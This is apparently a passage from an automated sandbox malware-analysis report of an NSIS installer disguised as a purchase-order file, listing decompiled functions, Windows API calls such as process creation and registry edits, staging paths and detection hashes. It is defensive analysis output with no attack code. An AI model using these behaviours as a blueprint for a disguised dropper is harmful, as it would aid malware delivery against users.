Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID: C:\Users\user\AppData\Local\sillinesses\Foiningly
API String ID: 1892508949-3300392592
Opcode ID: 1db21258f9f14eeaa58e626a3877af1e49894c045ef04388b0de34e33f5ae299
Instruction ID: 4927223e19ece6e176e0ab471dddb7e32c8def581d8881840bcbc1854d235eeb
Opcode Fuzzy Hash: 1db21258f9f14eeaa58e626a3877af1e49894c045ef04388b0de34e33f5ae299
Instruction Fuzzy Hash: 9711E231504505EBCF30AFA1CD0159F36A0EF14369B29493BFA45B22F1DB3E89519B5E

Function 00405C97 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004062BA: lstrcpynW.KERNEL32(?,?,00000400,00403460,Undseeligheds17 Setup,NSIS Error,?,00000006,00000008,0000000A), ref: 004062C7

Part of subcall function 00405C3A: CharNextW.USER32(?,?,C:\,?,00405CAE,C:\,C:\,?,?,74DF3420,004059EC,?,C:\Users\user\AppData\Local\Temp\,74DF3420,00000000), ref: 00405C48
Part of subcall function 00405C3A: CharNextW.USER32(00000000), ref: 00405C4D
Part of subcall function 00405C3A: CharNextW.USER32(00000000), ref: 00405C65

lstrlenW.KERNEL32(C:\,00000000,C:\,C:\,?,?,74DF3420,004059EC,?,C:\Users\user\AppData\Local\Temp\,74DF3420,00000000), ref: 00405CF0
GetFileAttributesW.KERNELBASE(C:\,C:\,C:\,C:\,C:\,C:\,00000000,C:\,C:\,?,?,74DF3420,004059EC,?,C:\Users\user\AppData\Local\Temp\,74DF3420), ref: 00405D00

Strings

C:\, xrefs: 00405C9D, 00405CA2, 00405CA8, 00405CE9, 00405CEF, 00405CF7, 00405CFF

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: C:\
API String ID: 3248276644-3404278061
Opcode ID: 9cc0d29f879c40394f09ec61343d80eeaf68cc1a92588db26b65915d11595f82
Instruction ID: afdd3353ca4dad18281e5c0e52e07b41dda899da8cc80c7b0a0d0babdec36168
Opcode Fuzzy Hash: 9cc0d29f879c40394f09ec61343d80eeaf68cc1a92588db26b65915d11595f82
Instruction Fuzzy Hash: 87F0443100DF2225F622333A0C05AAF2554DE82328BAA053FFC52B12D2DA3C88138D7E

Function 00406188 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNELBASE(?,?,00000000,00000000,?,00000800,00000002,?,00000000,?,?,Call,?,?,004063FC,80000002), ref: 004061CE
RegCloseKey.KERNELBASE(?,?,004063FC,80000002,Software\Microsoft\Windows\CurrentVersion,Call,Call,Call,00000000,Skipped: C:\Users\user\AppData\Local\Temp\nst14AC.tmp\System.dll), ref: 004061D9

Strings

Call, xrefs: 0040618F

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: CloseQueryValue
String ID: Call
API String ID: 3356406503-1824292864
Opcode ID: c86c14991d827863ed80974af0b6eb11eee99485bcf286d774b2a77da772c934
Instruction ID: dbe656cbcd6f76d760dfbfd9a3b1c67a2d3549b4381969b9bec3f5648691b042
Opcode Fuzzy Hash: c86c14991d827863ed80974af0b6eb11eee99485bcf286d774b2a77da772c934
Instruction Fuzzy Hash: 22017C72500209EADF218F51CD09EDB3BA8EB55364F01803AFD16A61A1D778D964EBA4

Function 004058A3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00430250,Error launching installer), ref: 004058CC
CloseHandle.KERNEL32(?), ref: 004058D9

Strings

Error launching installer, xrefs: 004058B6

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 26b27946013451d7cc559816144a6cf351020ce627575371dc693c6ec487af4b
Instruction ID: eef1ad79794a30a774d0e472c728ed5028324d39c85b098150df6d3db2f5c38f
Opcode Fuzzy Hash: 26b27946013451d7cc559816144a6cf351020ce627575371dc693c6ec487af4b
Instruction Fuzzy Hash: 93E092B5600209BFEB00AB64ED49F7BBBACEB04704F508565BD51F2290D778EC148A78

Function 00402032 Relevance: 4.6, APIs: 3, Instructions: 73libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000,00000001,000000F0), ref: 0040205D

Part of subcall function 00405322: lstrlenW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nst14AC.tmp\System.dll,00000000,0041C000,74DF23A0,?,?,?,?,?,?,?,?,?,0040327A,00000000,?), ref: 0040535A
Part of subcall function 00405322: lstrlenW.KERNEL32(0040327A,Skipped: C:\Users\user\AppData\Local\Temp\nst14AC.tmp\System.dll,00000000,0041C000,74DF23A0,?,?,?,?,?,?,?,?,?,0040327A,00000000), ref: 0040536A
Part of subcall function 00405322: lstrcatW.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nst14AC.tmp\System.dll,0040327A,0040327A,Skipped: C:\Users\user\AppData\Local\Temp\nst14AC.tmp\System.dll,00000000,0041C000,74DF23A0), ref: 0040537D
Part of subcall function 00405322: SetWindowTextW.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nst14AC.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nst14AC.tmp\System.dll), ref: 0040538F
Part of subcall function 00405322: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004053B5
Part of subcall function 00405322: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004053CF
Part of subcall function 00405322: SendMessageW.USER32(?,00001013,?,00000000), ref: 004053DD

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 0040206E
FreeLibrary.KERNELBASE(?,?,000000F7,?,?,00000008,00000001,000000F0), ref: 004020EB

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
String ID:
API String ID: 334405425-0
Opcode ID: 1bad162e77e34ecb8eb13f55f993608a5ff127250da7c3603d2b86ad5c63d419
Instruction ID: 732860e23109d101385e559ec06a1cde6071cd761d8e517fa4c79c7f2b675a05
Opcode Fuzzy Hash: 1bad162e77e34ecb8eb13f55f993608a5ff127250da7c3603d2b86ad5c63d419
Instruction Fuzzy Hash: 4421B031D00205EACF20AFA5CE48A9E7A70BF04358F64413BF511B51E0DBBD8981DA6E

Function 00402259 Relevance: 4.6, APIs: 3, Instructions: 51stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004065FD: FindFirstFileW.KERNELBASE(?,00430298,C:\,00405CE0,C:\,C:\,00000000,C:\,C:\,?,?,74DF3420,004059EC,?,C:\Users\user\AppData\Local\Temp\,74DF3420), ref: 00406608
Part of subcall function 004065FD: FindClose.KERNEL32(00000000), ref: 00406614

lstrlenW.KERNEL32 ref: 00402299
lstrlenW.KERNEL32(00000000), ref: 004022A4
SHFileOperationW.SHELL32(?,?,?,00000000), ref: 004022CD

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: FileFindlstrlen$CloseFirstOperation
String ID:
API String ID: 1486964399-0
Opcode ID: de517320b8b7631ad419df09021d9eeaad91b680213a75300812e1168bc9d6ca
Instruction ID: 6269ee181bc4fdd248ee35923937f3e1ab67e15396db9274ddd7ede6479e46a9
Opcode Fuzzy Hash: de517320b8b7631ad419df09021d9eeaad91b680213a75300812e1168bc9d6ca
Instruction Fuzzy Hash: 44117071900318A6DB10EFF98E4999EB6B8AF04354F54443FB805F72D1D6B8C4419B59

Function 004024F8 Relevance: 4.5, APIs: 3, Instructions: 47registryCOMMON

Download Yara Rule

APIs

RegEnumKeyW.ADVAPI32(00000000,00000000,?,000003FF), ref: 0040252B
RegEnumValueW.ADVAPI32(00000000,00000000,?,?), ref: 0040253E
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nst14AC.tmp,00000000,00000011,00000002), ref: 00402557

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: Enum$CloseValue
String ID:
API String ID: 397863658-0
Opcode ID: 5a9a61952417b6bfe6b89a24e65653c5098fd890d3eefb72e287b860fa7248b6
Instruction ID: be079dd98ee366e8112d1373a1392f52e75f7f4d5f65991111ca301d6a19f001
Opcode Fuzzy Hash: 5a9a61952417b6bfe6b89a24e65653c5098fd890d3eefb72e287b860fa7248b6
Instruction Fuzzy Hash: 4E018471904204BFEB149F95DE88ABF7ABCEF80358F14403EF505B61D0DAB85E419B69

Function 00402484 Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.ADVAPI32(00000000,00000000,?,?,?,?), ref: 004024B5
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nst14AC.tmp,00000000,00000011,00000002), ref: 00402557

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: CloseQueryValue
String ID:
API String ID: 3356406503-0
Opcode ID: 30a88777c351d87c576ad82697aa8c74236b6c04a157dfa6a484cb743da54f5e
Instruction ID: 794a7caf9ed311c3342b46d24488b6d71e3894ac8d4f1441d9e09f9d9ce2e922
Opcode Fuzzy Hash: 30a88777c351d87c576ad82697aa8c74236b6c04a157dfa6a484cb743da54f5e
Instruction Fuzzy Hash: A411A731D14205EBDF14DFA4CA585AE77B4EF44348F21843FE445B72C0D6B89A41EB59

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(00000402,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 819fad79445c3595f7b9f28f54206bfd84f40695cc559c75429dbb5a445ae89f
Instruction ID: eaafb4699c1cdf5c6f59fde68eca766a765a16907ebce13606274643e5ac5f14
Opcode Fuzzy Hash: 819fad79445c3595f7b9f28f54206bfd84f40695cc559c75429dbb5a445ae89f
Instruction Fuzzy Hash: 8D0128316242209FE7095B789D05B6A3698E710715F14463FF851F62F1D678CC429B4C

Function 0040238E Relevance: 3.0, APIs: 2, Instructions: 39registryCOMMON

Download Yara Rule

APIs

RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 004023B0
RegCloseKey.ADVAPI32(00000000), ref: 004023B9

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: CloseDeleteValue
String ID:
API String ID: 2831762973-0
Opcode ID: b4ed941283cc42cbc895d58b8121f3ae351412458d2bfbbd1978ef2183ef1513
Instruction ID: 2791961e855c801182d2f4b3e101f078c994d4f4985963d794b0561754721dd9
Opcode Fuzzy Hash: b4ed941283cc42cbc895d58b8121f3ae351412458d2bfbbd1978ef2183ef1513
Instruction Fuzzy Hash: E6F09632E045119BE704BBA49B8EABE72A89B44354F29403FFE42F71C1CAF85D41676D

Function 004053F5 Relevance: 3.0, APIs: 2, Instructions: 32comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 00405405

Part of subcall function 0040427D: SendMessageW.USER32(00010446,00000000,00000000,00000000), ref: 0040428F

OleUninitialize.OLE32(00000404,00000000), ref: 00405451

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: InitializeMessageSendUninitialize
String ID:
API String ID: 2896919175-0
Opcode ID: dfabe2086e3d1963a552e06cb88e9d9118769e23e40608fad565f0601b73f887
Instruction ID: a601a601f0e5ec3bbde9495229b78238806b827976c2972870ecc0a3321c7521
Opcode Fuzzy Hash: dfabe2086e3d1963a552e06cb88e9d9118769e23e40608fad565f0601b73f887
Instruction Fuzzy Hash: 85F090765405009BD7015B949D01BE777A4EFD431AF09843EFE85722E09B7958828E6D

Function 00401E49 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000), ref: 00401E67
EnableWindow.USER32(00000000,00000000), ref: 00401E72

Memory Dump Source

Source File: 00000000.00000002.2278037558.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2278024017.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278051722.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278065919.000000000046E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2278263878.0000000000473000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO 0309494059506060609696007.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: 476e1375ed2ebf99e134ffac4da93d8f4435b4a70c73a61f3ceb60b83f009d87
Instruction ID: 8ee55578b336c0276868c1e88f1fd45be51d25fee0972e3c110634e7b38d832d
Opcode Fuzzy Hash: 476e1375ed2ebf99e134ffac4da93d8f4435b4a70c73a61f3ceb60b83f009d87
Instruction Fuzzy Hash: 8BE01A72E082008FE724ABA5AA495AD77B8EB90325B20847FE211F11D1DA7858419F69

Function 00401573 Relevance: 3.0, APIs: 2, Instructions: 23COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00010452,?), ref: 00401587
ShowWindow.USER32(0001044C), ref: 0040159C

